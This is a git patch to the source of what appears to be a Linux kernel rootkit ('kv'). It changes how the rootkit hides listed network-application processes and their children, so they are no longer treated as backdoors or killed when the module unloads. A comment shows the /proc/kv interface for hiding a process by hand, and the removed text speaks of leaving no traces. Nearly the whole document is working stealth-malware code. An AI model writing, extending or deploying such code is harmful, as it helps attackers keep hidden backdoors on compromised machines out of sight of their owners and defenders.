From da2ffae4b515de233c2ca5bbce3bb58a5a8bcf53 Mon Sep 17 00:00:00 2001 From: JNE Date: Thu, 25 Apr 2024 14:49:30 +0100 Subject: [PATCH] Change behaviour for netapp tasks There was a silent bug here found in #84 Although I don't address that issue here, handling netapps as if they were backdoors will have the side effect of having all of its children killed if a subprocess exits. --- src/netapp.h | 1 + src/pid.c | 8 +++++--- 2 files changed, 6 insertions(+), 3 deletions(-) diff --git a/src/netapp.h b/src/netapp.h index 705c333..d56f5e9 100644 --- a/src/netapp.h +++ b/src/netapp.h @@ -4,6 +4,7 @@ /* * The names below are just examples and can be * modified and/or extended at will + * warning: don't add backdoor programs here */ static const char *netapp_list[] = { "whitenose", "pinknose", "rednose", "blacknose", diff --git a/src/pid.c b/src/pid.c index df49694..858a45d 100644 --- a/src/pid.c +++ b/src/pid.c @@ -472,10 +472,12 @@ void kv_scan_and_hide_netapp(void) { prinfo("Hide netapp task: %d %s i=%d '%s'\n", t->pid, fnode->filename, i, netapp_list[i]); /** * notice that any netapp added here - * will be killed if - * rk is unloaded so we won't leave traces behind + * will NOT be killed if kv is unloaded + * In reality an application that is listed in netapp_list will be handled + * in the same way as if you manually hide a parent process: + * echo >/proc/kv */ - kv_hide_task_by_pid(t->pid, 1 /* handle as backdoor */, CHILDREN /* hide children */); + kv_hide_task_by_pid(t->pid, 0 /* not a backdoor */, CHILDREN /* hide children */); break; }